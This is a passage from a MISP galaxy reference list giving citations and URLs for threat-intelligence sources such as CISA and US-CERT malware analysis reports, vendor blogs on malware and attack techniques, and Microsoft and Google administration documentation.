Brandt, Andrew. (2011, February 22). Malicious PHP Scripts on the Rise. Retrieved October 3, 2018.

The tag is: *misp-galaxy:references="Webroot PHP 2011"*

Table 21701. Table References

Links
https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/

push notifications -infosecinstitute

Dan Virgillito. (2022, January 27). Malicious push notifications: Is that a real or fake Windows Defender update?. Retrieved March 14, 2025.

The tag is: *misp-galaxy:references="push notifications -infosecinstitute"*

Table 21702. Table References

Links
https://www.infosecinstitute.com/resources/security-awareness/malicious-push-notifications-is-that-a-real-or-fake-windows-defender-update/

Trend Micro June 30 2023

Lucas Silva; RonJay Caragay; Arianne Dela Cruz; Gabriel Cardoso Read time. (2023, June 30). Malvertising Used as Entry Vector for BlackCat Actors Also Leverage SpyBoy Terminator. Retrieved January 1, 2024.

The tag is: *misp-galaxy:references="Trend Micro June 30 2023"*

Table 21703. Table References

Links
https://www.trendmicro.com/en_us/research/23/f/malvertising-used-as-entry-vector-for-blackcat-actors-also-lever.html

Malware Analysis Report 10135536-G

US-CERT. (2018, February 6). Malware Analysis Report 10135536-G. Retrieved August 15, 2024.

The tag is: *misp-galaxy:references="Malware Analysis Report 10135536-G"*

Table 21704. Table References

Links
https://web.archive.org/web/20200324152106/https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF

CISA ComRAT Oct 2020

CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020.

The tag is: *misp-galaxy:references="CISA ComRAT Oct 2020"*

Table 21705. Table References

Links
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a

Malware Analysis Report ComRAT

CISA. (2020, October 29). Malware Analysis Report (AR20-303A) MAR-10310246-2.v1 – PowerShell Script: ComRAT. Retrieved September 30, 2022.

The tag is: *misp-galaxy:references="Malware Analysis Report ComRAT"*

Table 21706. Table References

Links
https://www.cisa.gov/uscert/ncas/analysis-reports/ar20-303a

CISA Zebrocy Oct 2020

CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020.

The tag is: *misp-galaxy:references="CISA Zebrocy Oct 2020"*

Table 21707. Table References

Links
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b

CISA Supernova Jan 2021

CISA. (2021, January 27). Malware Analysis Report (AR21-027A). Retrieved February 22, 2021.

The tag is: *misp-galaxy:references="CISA Supernova Jan 2021"*

Table 21708. Table References

Links
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a

UK MOD DAMASCENED PEACOCK April 11 2025

UK Ministry of Defence. (2025, April 11). Malware Analysis Report: DAMASCENED PEACOCK. Retrieved April 18, 2025.

The tag is: *misp-galaxy:references="UK MOD DAMASCENED PEACOCK April 11 2025"*

Table 21709. Table References

Links
https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/damascened-peacock/ncsc-mar-damascened-peacock.pdf

UK NCSC Jaguar Tooth April 18 2023

National Cyber Security Centre. (2023, April 18). Malware Analysis Report: Jaguar Tooth. Retrieved August 23, 2023.

The tag is: *misp-galaxy:references="UK NCSC Jaguar Tooth April 18 2023"*

Table 21710. Table References

Links
https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/jaguar-tooth/NCSC-MAR-Jaguar-Tooth.pdf

US-CERT SHARPKNOT June 2018

US-CERT. (2018, March 09). Malware Analysis Report (MAR) - 10135536.11.WHITE. Retrieved June 13, 2018.

The tag is: *misp-galaxy:references="US-CERT SHARPKNOT June 2018"*

Table 21711. Table References

Links
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf

US-CERT Bankshot Dec 2017

US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.

The tag is: *misp-galaxy:references="US-CERT Bankshot Dec 2017"*

Table 21712. Table References

Links
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF

MAR10135536-B

US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved August 15, 2024.

The tag is: *misp-galaxy:references="MAR10135536-B"*

Table 21713. Table References

Links
https://web.archive.org/web/20220529212912/https://www.cisa.gov/uscert/sites/default/files/publications/MAR-10135536-B_WHITE.PDF

US-CERT Volgmer 2 Nov 2017

US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.

The tag is: *misp-galaxy:references="US-CERT Volgmer 2 Nov 2017"*

Table 21714. Table References

Links
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF

MAR10135536-F

US-CERT. (2018, February 5). Malware Analysis Report (MAR) - 10135536-F. Retrieved August 15, 2024.

The tag is: *misp-galaxy:references="MAR10135536-F"*

Table 21715. Table References

Links
https://web.archive.org/web/20210709132313/https://us-cert.cisa.gov/sites/default/files/publications/MAR-10135536-F.pdf

US-CERT HARDRAIN March 2018

US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.

The tag is: *misp-galaxy:references="US-CERT HARDRAIN March 2018"*

Table 21716. Table References

Links
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf

US-CERT BADCALL

US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.

The tag is: *misp-galaxy:references="US-CERT BADCALL"*

Table 21717. Table References

Links
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF

CISA MAR SLOTHFULMEDIA October 2020

DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020.

The tag is: *misp-galaxy:references="CISA MAR SLOTHFULMEDIA October 2020"*

Table 21718. Table References

Links
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a

Kroll RawPOS Jan 2017

Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder's Toolkit. Retrieved October 4, 2017.

The tag is: *misp-galaxy:references="Kroll RawPOS Jan 2017"*

Table 21719. Table References

Links
https://www.kroll.com/en/insights/publications/malware-analysis-report-rawpos-malware

VMRay OSAMiner dynamic analysis 2021

VMRAY. (2021, January 14). Malware Analysis Spotlight: OSAMiner Uses Run-Only AppleScripts to Evade Detection. Retrieved October 4, 2022.

The tag is: *misp-galaxy:references="VMRay OSAMiner dynamic analysis 2021"*

Table 21720. Table References

Links
https://www.vmray.com/cyber-security-blog/osaminer-uses-applescripts-evade-detection-malware-analysis-spotlight/

Rapid7 Fake W2 July 2024

Elkins, T. (2024, July 24). Malware Campaign Lures Users With Fake W2 Form. Retrieved September 13, 2024.

The tag is: *misp-galaxy:references="Rapid7 Fake W2 July 2024"*

Table 21721. Table References

Links
https://www.rapid7.com/blog/post/2024/07/24/malware-campaign-lures-users-with-fake-w2-form/

Kandji Cuckoo April 2024

Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.

The tag is: *misp-galaxy:references="Kandji Cuckoo April 2024"*

Table 21722. Table References

Links
https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware

Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018

Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.

The tag is: *misp-galaxy:references="Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018"*

Table 21723. Table References

Links
https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/

Alperovitch Malware

Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.

The tag is: *misp-galaxy:references="Alperovitch Malware"*

Table 21724. Table References

Links
http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/

Chrome Extension C2 Malware

Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Chrome Extension C2 Malware"*

Table 21725. Table References

Links
https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/

FireEye Kevin Mandia Guardrails

Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019.

The tag is: *misp-galaxy:references="FireEye Kevin Mandia Guardrails"*

Table 21726. Table References

Links
https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/

TechRepublic M-Trends 2023

Karl Greenberg. (2023, April 20). Malware is proliferating, but detection measures bear fruit: Mandiant. Retrieved September 21, 2023.

The tag is: *misp-galaxy:references="TechRepublic M-Trends 2023"*

Table 21727. Table References

Links
https://www.techrepublic.com/article/mandiant-malware-proliferating/

CTU BITS Malware June 2016

Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.

The tag is: *misp-galaxy:references="CTU BITS Malware June 2016"*

Table 21728. Table References

Links
https://www.secureworks.com/blog/malware-lingers-with-bits

CyberBit System Calls

Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021.

The tag is: *misp-galaxy:references="CyberBit System Calls"*

Table 21729. Table References

Links
https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/

Malware Monday VBE

Bromiley, M. (2016, December 27). Malware Monday: VBScript and VBE Files. Retrieved March 17, 2023.

The tag is: *misp-galaxy:references="Malware Monday VBE"*

Table 21730. Table References

Links
https://bromiley.medium.com/malware-monday-vbscript-and-vbe-files-292252c1a16

Malware Persistence on OS X

Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.

The tag is: *misp-galaxy:references="Malware Persistence on OS X"*

Table 21731. Table References

Links
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

RSAC 2015 San Francisco Patrick Wardle

Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.

The tag is: *misp-galaxy:references="RSAC 2015 San Francisco Patrick Wardle"*

Table 21732. Table References

Links
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Google Cloud September 29 2022

Mandiant. (2022, September 29). Malware Persistence Within ESXi Hypervisors . Retrieved December 12, 2024.

The tag is: *misp-galaxy:references="Google Cloud September 29 2022"*

Table 21733. Table References

Links
https://www.mandiant.com/resources/blog/esxi-hypervisors-malware-persistence

FireEye Hijacking July 2010

Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020.

The tag is: *misp-galaxy:references="FireEye Hijacking July 2010"*

Table 21734. Table References

Links
https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html

Mondok Windows PiggyBack BITS May 2007

Mondok, M. (2007, May 11). Malware piggybacks on Windows' Background Intelligent Transfer Service. Retrieved January 12, 2018.

The tag is: *misp-galaxy:references="Mondok Windows PiggyBack BITS May 2007"*

Table 21735. Table References

Links
https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/

Conficker Nuclear Power Plant

Cimpanu, C. (2016, April 26). Malware Shuts Down German Nuclear Power Plant on Chernobyl's 30th Anniversary. Retrieved February 18, 2021.

The tag is: *misp-galaxy:references="Conficker Nuclear Power Plant"*

Table 21736. Table References

Links
https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml

MMPC ISAPI Filter 2012

MMPC. (2012, October 3). Malware signed with the Adobe code signing certificate. Retrieved June 3, 2021.

The tag is: *misp-galaxy:references="MMPC ISAPI Filter 2012"*

Table 21737. Table References

Links
https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx

Leonardo Turla Penquin May 2020

Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA "Penquin_x64". Retrieved March 11, 2021.

The tag is: *misp-galaxy:references="Leonardo Turla Penquin May 2020"*

Table 21738. Table References

Links
https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf

Malware System Language Check

Pierre-Marc Bureau. (2009, January 15). Malware Trying to Avoid Some Countries. Retrieved August

18, 2021.

The tag is: *misp-galaxy:references="Malware System Language Check"*

Table 21739. Table References

Links
https://www.welivesecurity.com/2009/01/15/malware-trying-to-avoid-some-countries/

JPCert TSCookie March 2018

Tomonaga, S. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020.

The tag is: *misp-galaxy:references="JPCert TSCookie March 2018"*

Table 21740. Table References

Links
https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html

Symantec BITS May 2007

Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.

The tag is: *misp-galaxy:references="Symantec BITS May 2007"*

Table 21741. Table References

Links
https://www.symantec.com/connect/blogs/malware-update-windows-update

JPCert BlackTech Malware September 2019

Tomonaga, S.. (2019, September 18). Malware Used by BlackTech after Network Intrusion. Retrieved May 6, 2020.

The tag is: *misp-galaxy:references="JPCert BlackTech Malware September 2019"*

Table 21742. Table References

Links
https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html

Unit 42 Rocke January 2019

Xingyu, J.. (2019, January 17). Malware Used by Rocke Group Evolves to Evade Detection by Cloud Security Products. Retrieved May 26, 2020.

The tag is: *misp-galaxy:references="Unit 42 Rocke January 2019"*

Table 21743. Table References

Links
https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/

Azure Subscription Policies

Microsoft Azure. (2024, March 21). Manage Azure subscription policies. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="Azure Subscription Policies"*

Table 21744. Table References

Links
https://learn.microsoft.com/en-us/azure/cost-management-billing/manage/manage-azure-subscription-policy

Manage-bde.wsf - LOLBAS Project

LOLBAS. (2018, May 25). Manage-bde.wsf. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Manage-bde.wsf - LOLBAS Project"*

Table 21745. Table References

Links
https://lolbas-project.github.io/lolbas/Scripts/Manage-bde/

Microsoft Manage Device Identities

Microsoft. (2022, February 18). Manage device identities by using the Azure portal. Retrieved April 13, 2022.

The tag is: *misp-galaxy:references="Microsoft Manage Device Identities"*

Table 21746. Table References

Links
https://docs.microsoft.com/en-us/azure/active-directory/devices/device-management-azure-portal

Microsoft Dev Tunnels Group Policies

Carolina Uribe. (2024, May 28). Manage Dev Tunnels with Group Policies. Retrieved April 8, 2025.

The tag is: *misp-galaxy:references="Microsoft Dev Tunnels Group Policies"*

Table 21747. Table References

Links
https://techcommunity.microsoft.com/blog/azuredevcommunityblog/manage-dev-tunnels-with-group-policies/4149472

SpecterOps Managed Identity 2022

Andy Robbins. (2022, June 6). Managed Identity Attack Paths, Part 1: Automation Accounts. Retrieved March 18, 2025.

The tag is: *misp-galaxy:references="SpecterOps Managed Identity 2022"*

Table 21748. Table References

Links
https://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c

Microsoft MOF May 2018

Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020.

The tag is: *misp-galaxy:references="Microsoft MOF May 2018"*

Table 21749. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format—mof-

Microsoft Inbox Rules

Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021.

The tag is: *misp-galaxy:references="Microsoft Inbox Rules"*

Table 21750. Table References

Links
https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59

Google Workspace External Sharing

Google. (n.d.). Manage external sharing for your organization. Retrieved March 4, 2024.

The tag is: *misp-galaxy:references="Google Workspace External Sharing"*

Table 21751. Table References

Links
https://support.google.com/a/answer/60781

Google Cloud Just in Time Access 2023

Google Cloud. (n.d.). Manage just-in-time privileged access to projects. Retrieved September 21, 2023.

The tag is: *misp-galaxy:references="Google Cloud Just in Time Access 2023"*

Table 21752. Table References

Links
https://cloud.google.com/architecture/manage-just-in-time-privileged-access-to-project

Microsoft Manage Mail Flow Rules 2023

Microsoft. (2023, February 22). Manage mail flow rules in Exchange Online. Retrieved March 13, 2023.

The tag is: *misp-galaxy:references="Microsoft Manage Mail Flow Rules 2023"*

Table 21753. Table References

Links
https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/manage-mail-flow-rules

Office 365 Partner Relationships

Microsoft. (2022, March 4). Manage partner relationships. Retrieved May 27, 2022.

The tag is: *misp-galaxy:references="Office 365 Partner Relationships"*

Table 21754. Table References

Links
https://docs.microsoft.com/en-us/microsoft-365/commerce/manage-partners?view=o365-worldwide

Microsoft 365 External Sharing

Microsoft. (2023, October 11). Manage sharing settings for SharePoint and OneDrive in Microsoft 365. Retrieved March 4, 2024.

The tag is: *misp-galaxy:references="Microsoft 365 External Sharing"*

Table 21755. Table References

Links
https://learn.microsoft.com/en-us/sharepoint/turn-external-sharing-on-or-off

TechNet Trusted Publishers

Microsoft. (n.d.). Manage Trusted Publishers. Retrieved March 31, 2016.

The tag is: *misp-galaxy:references="TechNet Trusted Publishers"*

Table 21756. Table References

Links
https://technet.microsoft.com/en-us/library/cc733026.aspx

Microsoft Enable Cred Guard April 2017

Lich, B., Tobin, J., Hall, J. (2017, April 5). Manage Windows Defender Credential Guard. Retrieved November 27, 2017.

The tag is: *misp-galaxy:references="Microsoft Enable Cred Guard April 2017"*

Table 21757. Table References

Links
https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-manage

Outlook File Sizes

1. O'Bryan. (2018, May 30). Managing Outlook Cached Mode and OST File Sizes. Retrieved February 19, 2020.

The tag is: *misp-galaxy:references="Outlook File Sizes"*

Table 21758. Table References

Links
https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/

AWS Storage Lifecycles

AWS. (n.d.). Managing the lifecycle of objects. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="AWS Storage Lifecycles"*

Table 21759. Table References

Links

https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lifecycle-mgmt.html

Microsoft Managing WebDAV Security

Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Microsoft Managing WebDAV Security"*

Table 21760. Table References

Links
https://web.archive.org/web/20100210125749/https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx

Mandiant M Trends 2011

Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.

The tag is: *misp-galaxy:references="Mandiant M Trends 2011"*

Table 21761. Table References

Links
https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf

Mandiant M Trends 2016

Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Mandiant M Trends 2016"*

Table 21762. Table References

Links
https://web.archive.org/web/20211024160454/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf

FireEye APT35 2018

Mandiant. (2018). Mandiant M-Trends 2018. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye APT35 2018"*

Table 21763. Table References

Links
https://static.carahsoft.com/concrete/files/1015/2779/3571/M-Trends-2018-Report.pdf

Mandiant M-Trends 2023

Mandiant. (n.d.). Mandiant M-Trends 2023. Retrieved January 17, 2025.

The tag is: *misp-galaxy:references="Mandiant M-Trends 2023"*

Table 21764. Table References

Links
https://services.google.com/fh/files/misc/m_trends_2023_report.pdf

Mandiant WMI

Mandiant. (n.d.). Retrieved February 13, 2024.

The tag is: *misp-galaxy:references="Mandiant WMI"*

Table 21765. Table References

Links
https://www.mandiant.com/resources/reports

Microsoft Manifests

Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.

The tag is: *misp-galaxy:references="Microsoft Manifests"*

Table 21766. Table References

Links
https://msdn.microsoft.com/en-US/library/aa375365

MSDN Manifests

Microsoft. (n.d.). Manifests. Retrieved June 3, 2016.

The tag is: *misp-galaxy:references="MSDN Manifests"*

Table 21767. Table References

Links
https://msdn.microsoft.com/en-us/library/aa375365

Microsoft - manifests/assembly

Microsoft. (2021, January 7). Manifests. Retrieved January 30, 2025.

The tag is: *misp-galaxy:references="Microsoft - manifests/assembly"*

Table 21768. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/sbscs/manifests?redirectedfrom=MSDN

Wikipedia Man in the Browser

Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.

The tag is: *misp-galaxy:references="Wikipedia Man in the Browser"*

Table 21769. Table References

Links
https://en.wikipedia.org/wiki/Man-in-the-browser

Kaspersky Encyclopedia MiTM

Kaspersky IT Encyclopedia. (n.d.). Man-in-the-middle attack. Retrieved September 1, 2023.

The tag is: *misp-galaxy:references="Kaspersky Encyclopedia MiTM"*

Table 21770. Table References

Links
https://encyclopedia.kaspersky.com/glossary/man-in-the-middle-attack/

Rapid7 MiTM Basics

Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020.

The tag is: *misp-galaxy:references="Rapid7 MiTM Basics"*

Table 21771. Table References

Links
https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/

Praetorian TLS Downgrade Attack 2014

Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved October 8, 2021.

The tag is: *misp-galaxy:references="Praetorian TLS Downgrade Attack 2014"*

Table 21772. Table References

Links
https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/

mitm_tls_downgrade_att

praetorian Editorial Team. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved December 8, 2021.

The tag is: *misp-galaxy:references="mitm_tls_downgrade_att"*

Table 21773. Table References

Links
https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/

InsiderThreat ChangeNTLM July 2017

Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.

The tag is: *misp-galaxy:references="InsiderThreat ChangeNTLM July 2017"*

Table 21774. Table References

Links
https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM

Talos Manjusaka 2022

Asheer Malhotra & Vitor Ventura. (2022, August 2). Manjusaka: A Chinese sibling of Sliver and Cobalt Strike. Retrieved September 4, 2024.

The tag is: *misp-galaxy:references="Talos Manjusaka 2022"*

Table 21775. Table References

Links
https://blog.talosintelligence.com/manjusaka-offensive-framework/

Kaspersky ManOnTheSide

Starikova, A. (2023, February 14). Man-on-the-side – peculiar attack. Retrieved September 1, 2023.

The tag is: *misp-galaxy:references="Kaspersky ManOnTheSide"*

Table 21776. Table References

Links

https://usa.kaspersky.com/blog/man-on-the-side/27854/

symantec_mantis

Symantec Threat Hunter Team. (2023, April 4). Mantis: New Tooling Used in Attacks Against Palestinian Targets. Retrieved March 4, 2024.

The tag is: *misp-galaxy:references="symantec_mantis"*

Table 21777. Table References

Links
https://web.archive.org/web/20231227054130/https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/mantis-palestinian-attacks

CrowdStrike Manufacturing Threat July 2020

Falcon OverWatch Team. (2020, July 14). Manufacturing Industry in the Adversaries' Crosshairs. Retrieved October 17, 2021.

The tag is: *misp-galaxy:references="CrowdStrike Manufacturing Threat July 2020"*

Table 21778. Table References

Links
https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/

US-CERT TYPEFRAME June 2018

US-CERT. (2018, June 14). MAR-10135536-12 – North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.

The tag is: *misp-galaxy:references="US-CERT TYPEFRAME June 2018"*

Table 21779. Table References

Links
https://www.us-cert.gov/ncas/analysis-reports/AR18-165A

US-CERT KEYMARBLE Aug 2018

US-CERT. (2018, August 09). MAR-10135536-17 – North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.

The tag is: *misp-galaxy:references="US-CERT KEYMARBLE Aug 2018"*

Table 21780. Table References

Links
https://www.us-cert.gov/ncas/analysis-reports/AR18-221A

US-CERT HOPLIGHT Apr 2019

US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.

The tag is: *misp-galaxy:references="US-CERT HOPLIGHT Apr 2019"*

Table 21781. Table References

Links
https://www.us-cert.gov/ncas/analysis-reports/AR19-100A

US-CERT HOTCROISSANT February 2020

US-CERT. (2020, February 20). MAR-10271944-1.v1 – North Korean Trojan: HOTCROISSANT. Retrieved May 1, 2020.

The tag is: *misp-galaxy:references="US-CERT HOTCROISSANT February 2020"*

Table 21782. Table References

Links
https://www.us-cert.gov/ncas/analysis-reports/ar20-045d

CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020

USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021.

The tag is: *misp-galaxy:references="CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020"*

Table 21783. Table References

Links
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b

CISA MAR-10292089-1.v2 TAIDOOR August 2021

CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 – Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021.

The tag is: *misp-galaxy:references="CISA MAR-10292089-1.v2 TAIDOOR August 2021"*

Table 21784. Table References

Links
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a

US-CERT BLINDINGCAN Aug 2020

US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020.

The tag is: *misp-galaxy:references="US-CERT BLINDINGCAN Aug 2020"*

Table 21785. Table References

Links
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a

CISA SoreFang July 2016

CISA. (2020, July 16). MAR-10296782-1.v1 – SOREFANG. Retrieved September 29, 2020.

The tag is: *misp-galaxy:references="CISA SoreFang July 2016"*

Table 21786. Table References

Links
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a

CISA WellMess July 2020

CISA. (2020, July 16). MAR-10296782-2.v1 – WELLMESS. Retrieved September 24, 2020.

The tag is: *misp-galaxy:references="CISA WellMess July 2020"*

Table 21787. Table References

Links
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b

CISA WellMail July 2020

CISA. (2020, July 16). MAR-10296782-3.v1 – WELLMAIL. Retrieved September 29, 2020.

The tag is: *misp-galaxy:references="CISA WellMail July 2020"*

Table 21788. Table References

Links
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c

CISA EB Aug 2020

Cybersecurity and Infrastructure Security Agency. (2020, August 26). MAR-10301706-1.v1 - North Korean Remote Access Tool: ECCENTRICBANDWAGON. Retrieved March 18, 2021.

The tag is: *misp-galaxy:references="CISA EB Aug 2020"*

Table 21789. Table References

Links
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a

CISA HatMan

CISA. (2019, February 27). MAR-17-352-01 HatMan-Safety System Targeted Malware. Retrieved January 6, 2021.

The tag is: *misp-galaxy:references="CISA HatMan"*

Table 21790. Table References

Links
https://us-cert.cisa.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf

Microsoft Security Blog May 12 2025

Microsoft Threat Intelligence. (2025, May 12). Marbled Dust leverages zero-day in Output Messenger for regional espionage . Retrieved June 2, 2025.

The tag is: *misp-galaxy:references="Microsoft Security Blog May 12 2025"*

Table 21791. Table References

Links
https://www.microsoft.com/en-us/security/blog/2025/05/12/marbled-dust-leverages-zero-day-in-output-messenger-for-regional-espionage/

Outflank MotW 2020

Hegt, S. (2020, March 30). Mark-of-the-Web from a red team's perspective. Retrieved February 22, 2021.

The tag is: *misp-galaxy:references="Outflank MotW 2020"*

Table 21792. Table References

Links

https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/

Google Cloud May 28 2025

Google Threat Intelligence Group. (2025, May 28). Mark Your Calendar APT41 Innovative Tactics . Retrieved June 2, 2025.

The tag is: *misp-galaxy:references="Google Cloud May 28 2025"*

Table 21793. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/apt41-innovative-tactics

Masquerads-Guardio

Tal, Nati. (2022, December 28). “MasquerAds” — Google’s Ad-Words Massively Abused by Threat Actors, Targeting Organizations, GPUs and Crypto Wallets. Retrieved February 21, 2023.

The tag is: *misp-galaxy:references="Masquerads-Guardio"*

Table 21794. Table References

Links
https://labs.guard.io/masquerads-googles-ad-words-massively-abused-by-threat-actors-targeting-organizations-gpus-42ae73ee8a1e

CNET Leaks

Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="CNET Leaks"*

Table 21795. Table References

Links
https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/

ArsTechnica Great Firewall of China

Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019.

The tag is: *misp-galaxy:references="ArsTechnica Great Firewall of China"*

Table 21796. Table References

Links
https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/

krebs-email-bombing

Brian Krebs. (2016, August 18). Massive Email Bombs Target .Gov Addresses. Retrieved January 31, 2025.

The tag is: *misp-galaxy:references="krebs-email-bombing"*

Table 21797. Table References

Links
https://krebsonsecurity.com/2016/08/massive-email-bombs-target-gov-addresses/

ImageMagick January 1 1999

